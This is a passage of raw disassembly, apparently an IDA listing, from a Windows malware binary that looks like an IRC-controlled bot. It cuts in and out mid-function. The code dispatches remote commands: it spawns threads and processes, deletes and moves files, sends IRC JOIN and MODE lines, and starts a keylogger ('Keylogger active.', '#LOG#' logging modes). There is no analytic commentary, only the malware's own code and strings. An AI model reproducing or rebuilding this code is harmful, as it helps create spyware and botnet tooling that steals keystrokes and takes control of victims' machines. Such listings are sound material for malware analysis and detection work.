[ebp+var_1D68], eax jle loc_4080FC mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41BFF0 xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41BFF0 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_1D60], eax mov eax, [ebp+var_8] mov [ebp+var_1D5C], eax push edi push offset unk_42C580 lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 push ebx lea eax, [ebp+var_2C0] push 15h push eax call sub_40B254 add esp, 38h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset sub_413C65 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4080EF call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42C548 jmp loc_404968 ; --------------------------------------------------------------------------- loc_4080E7: ; CODE XREF: sub_401AA1+6654j push 32h call dword_428080 ; Sleep loc_4080EF: ; CODE XREF: sub_401AA1+6633j cmp [ebp+var_1D58], ebx jz short loc_4080E7 jmp loc_406DEB ; --------------------------------------------------------------------------- loc_4080FC: ; CODE XREF: sub_401AA1+657Cj push offset unk_42C510 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_408106: ; CODE XREF: sub_401AA1+4A68j ; sub_401AA1+4A7Fj push [ebp+arg_18] push edi call dword_4280BC ; MoveFileA test eax, eax jz short loc_408136 push [ebp+arg_18] lea eax, [ebp+var_2C0] push edi push offset unk_42C4EC push 200h push eax call sub_41BFF0 add esp, 14h jmp loc_406DEB ; --------------------------------------------------------------------------- loc_408136: ; CODE XREF: sub_401AA1+6671j push offset dword_42C4E0 call sub_4187D7 push eax lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 add esp, 10h jmp loc_406DEB ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_401AA1+4A3Aj ; sub_401AA1+4A51j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41BFF0 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408194 push [ebp+arg_18] push [ebp+var_C] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz short loc_408194 push eax lea eax, [ebp+var_3E04] push eax call sub_41BEF6 pop ecx pop ecx loc_408194: ; CODE XREF: sub_401AA1+66D1j ; sub_401AA1+66E2j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41BFF0 mov eax, [ebp+arg_4] mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42C4B0 lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 push ebx lea eax, [ebp+var_2C0] push 24h push eax call sub_40B254 add esp, 2Ch mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset sub_417240 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_408259 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42C474 loc_40823D: ; CODE XREF: sub_401AA1+9F9j ; sub_401AA1+A1Fj ... lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 0Ch jmp loc_402399 ; --------------------------------------------------------------------------- loc_408251: ; CODE XREF: sub_401AA1+67BEj push 32h call dword_428080 ; Sleep loc_408259: ; CODE XREF: sub_401AA1+678Ej cmp [ebp+var_3CF4], ebx jz short loc_408251 jmp loc_402399 ; --------------------------------------------------------------------------- loc_408266: ; CODE XREF: sub_401AA1+4A0Cj ; sub_401AA1+4A23j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BC00 mov [ebp+var_668], esi xor esi, esi inc esi push edi mov [ebp+var_63C], esi mov [ebp+var_638], bx call sub_41BDE9 add esp, 10h cmp eax, esi jnz short loc_4082A3 mov [ebp+var_638], 5 loc_4082A3: ; CODE XREF: sub_401AA1+67F7j cmp [ebp+var_C], ebx jz loc_406BC3 push [ebp+arg_18] push [ebp+var_C] call sub_41BF70 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BC3 lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_428074 ; CreateProcessA test eax, eax lea eax, [ebp+var_2C0] jnz short loc_4082F4 push offset unk_42C450 jmp loc_40616F ; --------------------------------------------------------------------------- loc_4082F4: ; CODE XREF: sub_401AA1+6847j push edi push offset dword_42C434 jmp loc_406BBA ; --------------------------------------------------------------------------- loc_4082FF: ; CODE XREF: sub_401AA1+49DEj ; sub_401AA1+49F5j push [ebp+arg_18] push offset dword_42A990 call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40846F lea eax, [ebp+var_4BF8] push eax push 104h call dword_4280B8 ; GetTempPathA push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BC60 lea eax, [ebp+var_17D4] push eax call sub_40AA48 push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset dword_42C428 push eax call sub_41BEF6 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_408391 push 10h push ebx push eax call sub_41C435 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408397 ; --------------------------------------------------------------------------- loc_408391: ; CODE XREF: sub_401AA1+68DAj mov [ebp+var_23C4], ebx loc_408397: ; CODE XREF: sub_401AA1+68EEj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_4083AE push esi call sub_41BDE9 pop ecx mov [ebp+var_23C8], eax jmp short loc_4083B4 ; --------------------------------------------------------------------------- loc_4083AE: ; CODE XREF: sub_401AA1+68FCj mov [ebp+var_23C8], ebx loc_4083B4: ; CODE XREF: sub_401AA1+690Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BC60 mov eax, [ebp+var_4] push edi mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax lea eax, [ebp+var_2C0] push offset dword_42C3D8 push eax call sub_41BEF6 push esi lea eax, [ebp+var_2C0] push 1Eh push eax call sub_40B254 add esp, 24h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset sub_4169AB push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_408462 call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42C370 jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_40845A: ; CODE XREF: sub_401AA1+69C7j push 32h call dword_428080 ; Sleep loc_408462: ; CODE XREF: sub_401AA1+69A6j cmp [ebp+var_23B4], ebx jz short loc_40845A jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_40846F: ; CODE XREF: sub_401AA1+686Fj push offset dword_42C300 jmp loc_406169 ; --------------------------------------------------------------------------- loc_408479: ; CODE XREF: sub_401AA1+49B0j ; sub_401AA1+49C7j push [ebp+var_8C] push offset dword_42F4C4 call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_401F20 cmp [ebp+var_C], ebx jz loc_401F20 push [ebp+arg_18] push [ebp+var_C] call sub_41BF70 push eax lea eax, [ebp+var_2C0] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42C2EC push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41BC60 push edi call sub_41BDE9 add esp, 30h test eax, eax jle short loc_408500 push edi call sub_41BDE9 imul eax, 3E8h pop ecx push eax call dword_428080 ; Sleep loc_408500: ; CODE XREF: sub_401AA1+6A49j push offset dword_42C2BC call sub_415F45 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F23 ; --------------------------------------------------------------------------- loc_408514: ; CODE XREF: sub_401AA1+4982j ; sub_401AA1+4999j push [ebp+var_8C] push offset dword_42F4C4 call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_401F20 cmp [ebp+var_C], ebx jz loc_409567 push [ebp+arg_18] push [ebp+var_C] call sub_41BF70 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41C6E0 add esp, 10h test eax, eax push esi lea eax, [ebp+var_2C0] jz short loc_4085D0 push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42C2EC push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41BC60 push esi lea eax, [ebp+var_2C0] push offset dword_42C288 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_415F45 push edi call sub_41BDE9 add esp, 38h test eax, eax jle loc_409567 push edi call sub_41BDE9 add eax, [ebp+arg_24] pop ecx jmp loc_401F23 ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401AA1+6ABEj push offset dword_42C238 push eax call sub_41BEF6 add esp, 0Ch jmp loc_408EDB ; --------------------------------------------------------------------------- loc_4085E3: ; CODE XREF: sub_401AA1+4954j ; sub_401AA1+496Bj push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BC60 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BC60 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BC60 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2094], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2090], eax lea eax, [ebp+var_2C0] push offset unk_42C200 push eax mov [ebp+var_221C], esi call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 0Fh push eax call sub_40B254 add esp, 40h mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset sub_415189 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4086A7 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42C1C4 jmp loc_40876B ; --------------------------------------------------------------------------- loc_40869F: ; CODE XREF: sub_401AA1+6C0Cj push 32h call dword_428080 ; Sleep loc_4086A7: ; CODE XREF: sub_401AA1+6BEBj cmp [ebp+var_208C], ebx jz short loc_40869F jmp loc_40877A ; --------------------------------------------------------------------------- loc_4086B4: ; CODE XREF: sub_401AA1+4926j ; sub_401AA1+493Dj push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BC60 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BC60 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BC60 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2228], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2224], eax lea eax, [ebp+var_2C0] push offset dword_42C198 push eax mov [ebp+var_23B0], esi call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 11h push eax call sub_40B254 add esp, 40h mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset sub_414931 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4087A2 call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42C15C loc_40876B: ; CODE XREF: sub_401AA1+6BF9j lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 0Ch loc_40877A: ; CODE XREF: sub_401AA1+6C0Ej ; sub_401AA1+6D09j cmp [ebp+var_8], ebx jnz loc_403F55 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403F4D ; --------------------------------------------------------------------------- loc_40879A: ; CODE XREF: sub_401AA1+6D07j push 32h call dword_428080 ; Sleep loc_4087A2: ; CODE XREF: sub_401AA1+6CBCj cmp [ebp+var_2220], ebx jz short loc_40879A jmp short loc_40877A ; --------------------------------------------------------------------------- loc_4087AC: ; CODE XREF: sub_401AA1+48F8j ; sub_401AA1+490Fj push [ebp+arg_18] lea eax, [ebp+var_2C0] push offset dword_42C154 push eax call sub_41BEF6 push edi call sub_41BDE9 add esp, 10h loc_4087C9: ; CODE XREF: sub_401AA1+6D8Fj test eax, eax jle loc_409567 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_409567 loc_4087E3: ; CODE XREF: sub_401AA1+7812j lea eax, [ebp+var_2C0] push eax push offset dword_42C14C push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call sub_4096FD jmp loc_4048B7 ; --------------------------------------------------------------------------- loc_40880C: ; CODE XREF: sub_401AA1+48CAj ; sub_401AA1+48E1j push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push [ebp+arg_18] push offset dword_42C140 push eax call sub_41BEF6 push edi call sub_41BDE9 add esp, 14h jmp short loc_4087C9 ; --------------------------------------------------------------------------- loc_408832: ; CODE XREF: sub_401AA1+489Cj ; sub_401AA1+48B3j push [ebp+arg_18] lea eax, [ebp+var_2C0] push offset dword_42DAA8 push eax call sub_41BEF6 push edi call sub_41BDE9 add esp, 10h test eax, eax jle loc_409567 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_409567 lea eax, [ebp+var_2C0] push eax push offset dword_42C14C push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call sub_4096FD push [ebp+arg_18] push edi push offset dword_42C124 loc_408896: ; CODE XREF: sub_401AA1+6E7Cj ; sub_401AA1+6EE7j ... call sub_415FB9 jmp loc_4041D9 ; --------------------------------------------------------------------------- loc_4088A0: ; CODE XREF: sub_401AA1+486Ej ; sub_401AA1+4885j cmp [ebp+var_C], ebx jz loc_409567 push [ebp+arg_18] push [ebp+var_C] call sub_41BF70 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4088D1 push esi lea eax, [ebp+var_2C0] push offset dword_42C11C push eax call sub_41BEF6 add esp, 0Ch loc_4088D1: ; CODE XREF: sub_401AA1+6E19j push edi call sub_41BDE9 test eax, eax pop ecx jle loc_409567 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_409567 lea eax, [ebp+var_2C0] push eax push offset dword_42C14C push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call sub_4096FD push esi push edi push offset dword_42C100 jmp loc_408896 ; --------------------------------------------------------------------------- loc_408922: ; CODE XREF: sub_401AA1+4840j ; sub_401AA1+4857j cmp [ebp+var_C], ebx jz loc_409567 push [ebp+arg_18] push [ebp+var_C] call sub_41BF70 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409567 push edi call sub_41BDE9 test eax, eax pop ecx jle loc_409567 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_409567 push esi push offset dword_42C14C push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call sub_4096FD push esi push edi push offset dword_42C0E4 jmp loc_408896 ; --------------------------------------------------------------------------- loc_40898D: ; CODE XREF: sub_401AA1+4812j ; sub_401AA1+4829j cmp [ebp+var_C], ebx jz loc_409567 push edi push [ebp+var_C] call sub_41BF70 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409567 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_4096FD push esi push offset dword_42C0A0 loc_4089BF: ; CODE XREF: sub_401AA1+79A4j ; sub_401AA1+79BDj ... call sub_415FB9 jmp loc_40344D ; --------------------------------------------------------------------------- loc_4089C9: ; CODE XREF: sub_401AA1+47E4j ; sub_401AA1+47FBj push [ebp+var_8C] push offset dword_42F4C4 call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_401F20 push [ebp+arg_18] push offset dword_42C094 push [ebp+arg_4] call sub_4096FD push edi call sub_41BDE9 imul eax, 3E8h add esp, 10h push eax call dword_428080 ; Sleep push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4096FD push offset dword_42C064 call sub_415F45 jmp loc_40344D ; --------------------------------------------------------------------------- loc_408A2F: ; CODE XREF: sub_401AA1+47B6j ; sub_401AA1+47CDj cmp [ebp+var_C], ebx jz loc_409567 push edi call sub_41B650 push [ebp+arg_8] mov esi, eax call sub_41B650 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41BF70 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409567 push esi lea eax, [ebp+var_2C0] push offset dword_42C94C push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push ebx push eax push edi push [ebp+arg_4] call sub_409743 push esi push edi push offset dword_42C02C call sub_415FB9 add esp, 2Ch jmp loc_409567 ; --------------------------------------------------------------------------- loc_408A9D: ; CODE XREF: sub_401AA1+4788j ; sub_401AA1+479Fj cmp [ebp+var_C], ebx jz loc_409567 push edi call sub_41B650 push [ebp+arg_8] mov esi, eax call sub_41B650 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41BF70 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409567 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409743 push esi push edi push offset dword_42BFF4 call sub_415FB9 add esp, 20h jmp loc_409567 ; --------------------------------------------------------------------------- loc_408AF3: ; CODE XREF: sub_401AA1+475Aj ; sub_401AA1+4771j cmp [ebp+var_C], ebx jz loc_401F20 push [ebp+arg_18] push [ebp+var_C] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz loc_401F20 push eax push edi call sub_415E4D push edi lea eax, [ebp+var_2C0] push offset dword_42BFBC push eax call sub_41BEF6 add esp, 14h jmp loc_403F34 ; --------------------------------------------------------------------------- loc_408B32: ; CODE XREF: sub_401AA1+472Cj ; sub_401AA1+4743j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418B6C loc_408B47: ; CODE XREF: sub_401AA1+25AEj add esp, 14h jmp loc_401F20 ; --------------------------------------------------------------------------- loc_408B4F: ; CODE XREF: sub_401AA1+46ECj ; sub_401AA1+4703j push edi push [ebp+arg_1C] call sub_41BF70 pop ecx test eax, eax pop ecx jz loc_409567 mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_408BE6 push esi push [ebp+var_C] call sub_41BF70 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2C0] jz short loc_408BD4 push esi push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42C2EC push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41BC60 push esi push edi lea eax, [ebp+var_2C0] push offset dword_42BF7C push eax call sub_41BEF6 add esp, 34h inc [ebp+arg_24] jmp loc_408EFC ; --------------------------------------------------------------------------- loc_408BD4: ; CODE XREF: sub_401AA1+70E1j push offset dword_42BF30 push eax call sub_41BEF6 pop ecx pop ecx jmp loc_408EFC ; --------------------------------------------------------------------------- loc_408BE6: ; CODE XREF: sub_401AA1+70CAj push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B355 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 push edi push offset dword_42BEF8 lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 add esp, 24h jmp loc_408EFC ; --------------------------------------------------------------------------- loc_408C2D: ; CODE XREF: sub_401AA1+4414j ; sub_401AA1+442Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aKeyloggerActiv ; "Keylogger active." loc_408C3A: ; CODE XREF: sub_401AA1+FF6j ; sub_401AA1+1049j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B4DC add esp, 20h jmp loc_401F20 ; --------------------------------------------------------------------------- loc_408C56: ; CODE XREF: sub_401AA1+43E6j ; sub_401AA1+43FDj push 23h call sub_40B496 test eax, eax pop ecx jle short loc_408C6C push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406DDD ; --------------------------------------------------------------------------- loc_408C6C: ; CODE XREF: sub_401AA1+71BFj mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_408CE8 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408CCF mov esi, offset aLog_0 ; "#LOG#" push offset byte_4404C4 push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_408CCF mov esi, [ebp+var_88] loc_408CCF: ; CODE XREF: sub_401AA1+7210j ; sub_401AA1+7226j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41BFF0 push offset aKeyloggerActiv ; "Keylogger active." jmp short loc_408D3B ; --------------------------------------------------------------------------- loc_408CE8: ; CODE XREF: sub_401AA1+71FBj push edi push offset aNormal_0 ; "normal" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_408DB7 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408D24 mov esi, offset aLog_0 ; "#LOG#" push offset byte_4404C4 push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_408D24 mov esi, [ebp+var_88] loc_408D24: ; CODE XREF: sub_401AA1+7265j ; sub_401AA1+727Bj push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41BFF0 push offset aNormalKeyLogge ; "Normal key logger active." loc_408D3B: ; CODE XREF: sub_401AA1+7245j lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 14h lea eax, [ebp+var_2C0] push ebx push 23h push eax call sub_40B254 add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_412911 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_408DAA call dword_428094 ; RtlGetLastWin32Error push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... jmp loc_404968 ; --------------------------------------------------------------------------- loc_408DA2: ; CODE XREF: sub_401AA1+730Fj push 32h call dword_428080 ; Sleep loc_408DAA: ; CODE XREF: sub_401AA1+72EEj cmp [ebp+var_A04], ebx jz short loc_408DA2 jmp loc_406DEB ; --------------------------------------------------------------------------- loc_408DB7: ; CODE XREF: sub_401AA1+7256j push offset aUnknowModeType ; "Unknow mode type." jmp loc_406DDD ; --------------------------------------------------------------------------- loc_408DC1: ; CODE XREF: sub_401AA1+404Dj ; sub_401AA1+4064j push offset aR ; "r" push edi call sub_41BB32 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408E3B mov ebx, 200h push esi lea eax, [ebp+var_2C0] push ebx push eax call sub_41C1BF add esp, 0Ch jmp short loc_408E17 ; --------------------------------------------------------------------------- loc_408DEC: ; CODE XREF: sub_401AA1+7378j push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 push esi lea eax, [ebp+var_2C0] push ebx push eax call sub_41C1BF add esp, 20h loc_408E17: ; CODE XREF: sub_401AA1+7349j test eax, eax jnz short loc_408DEC push esi call sub_41B6CB push edi lea eax, [ebp+var_2C0] push offset dword_42BE18 push eax call sub_41BEF6 add esp, 10h jmp loc_406BE4 ; --------------------------------------------------------------------------- loc_408E3B: ; CODE XREF: sub_401AA1+7331j push edi push offset dword_42BDDC jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_408E46: ; CODE XREF: sub_401AA1+401Fj ; sub_401AA1+4036j cmp [ebp+var_C], ebx jz loc_409567 push edi push [ebp+var_C] call sub_41BF70 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409567 push offset asc_42BDD8 ; "\n" push esi call sub_41C530 push esi call sub_41A0C2 add esp, 0Ch test eax, eax lea eax, [ebp+var_2C0] jnz short loc_408E89 push offset unk_42BD98 jmp short loc_408ED3 ; --------------------------------------------------------------------------- loc_408E89: ; CODE XREF: sub_401AA1+73DFj push esi push offset dword_42BD60 push eax call sub_41BEF6 add esp, 0Ch jmp short loc_408EFC ; --------------------------------------------------------------------------- loc_408E9A: ; CODE XREF: sub_401AA1+3FF1j ; sub_401AA1+4008j cmp [ebp+var_C], ebx jz loc_409567 push edi push [ebp+var_C] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz loc_409567 push eax call sub_41889C test eax, eax pop ecx lea eax, [ebp+var_2C0] jnz short loc_408ECE push offset unk_42BD40 jmp short loc_408ED3 ; --------------------------------------------------------------------------- loc_408ECE: ; CODE XREF: sub_401AA1+7424j push offset dword_42BD24 loc_408ED3: ; CODE XREF: sub_401AA1+73E6j ; sub_401AA1+742Bj push eax call sub_41BEF6 pop ecx pop ecx loc_408EDB: ; CODE XREF: sub_401AA1+6B3Dj cmp [ebp+var_8], ebx jnz short loc_408EFC push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_408EFC: ; CODE XREF: sub_401AA1+712Ej ; sub_401AA1+7140j ... lea eax, [ebp+var_2C0] push eax call sub_415F45 pop ecx jmp loc_409567 ; --------------------------------------------------------------------------- loc_408F0E: ; CODE XREF: sub_401AA1+3FC3j ; sub_401AA1+3FDAj push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BC60 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408F3D push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BC60 add esp, 0Ch loc_408F3D: ; CODE XREF: sub_401AA1+7488j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BC60 mov eax, [ebp+arg_4] push edi mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax lea eax, [ebp+var_2C0] push offset dword_42BCF4 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 1Ch push eax call sub_40B254 add esp, 24h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset loc_41B41B push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_408FDE call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42BCA0 jmp loc_4043D3 ; --------------------------------------------------------------------------- loc_408FD6: ; CODE XREF: sub_401AA1+7543j push 32h call dword_428080 ; Sleep loc_408FDE: ; CODE XREF: sub_401AA1+7522j cmp [ebp+var_1EF8], ebx jz short loc_408FD6 jmp loc_406BE4 ; --------------------------------------------------------------------------- loc_408FEB: ; CODE XREF: sub_401AA1+3F95j ; sub_401AA1+3FACj push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41061F push edi push offset dword_42BC84 jmp loc_408896 ; --------------------------------------------------------------------------- loc_409006: ; CODE XREF: sub_401AA1+3F67j ; sub_401AA1+3F7Ej push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BC00 push edi lea eax, [ebp+var_1D38] push offset aS_2 ; "%s" push eax call sub_41BEF6 mov eax, [ebp+arg_4] mov [ebp+var_1D54], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41BFF0 mov eax, [ebp+var_4] mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C0] push offset unk_42BC60 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 1Ah push eax call sub_40B254 add esp, 40h mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset sub_4163CE push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4090D9 loc_4090C0: ; CODE XREF: sub_401AA1+78Ej call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42BC24 jmp loc_40823D ; --------------------------------------------------------------------------- loc_4090D1: ; CODE XREF: sub_401AA1+763Ej push 32h call dword_428080 ; Sleep loc_4090D9: ; CODE XREF: sub_401AA1+761Dj cmp [ebp+var_1BA4], ebx jz short loc_4090D1 jmp loc_402399 ; --------------------------------------------------------------------------- loc_4090E6: ; CODE XREF: sub_401AA1+3F39j ; sub_401AA1+3F50j push edi call dword_428088 ; DeleteFileA test eax, eax jz short loc_4090F9 push edi push offset dword_42BBE8 jmp short loc_409104 ; --------------------------------------------------------------------------- loc_4090F9: ; CODE XREF: sub_401AA1+764Ej push offset dword_42BBC0 call sub_4187D7 push eax loc_409104: ; CODE XREF: sub_401AA1+7656j lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 loc_409115: ; CODE XREF: 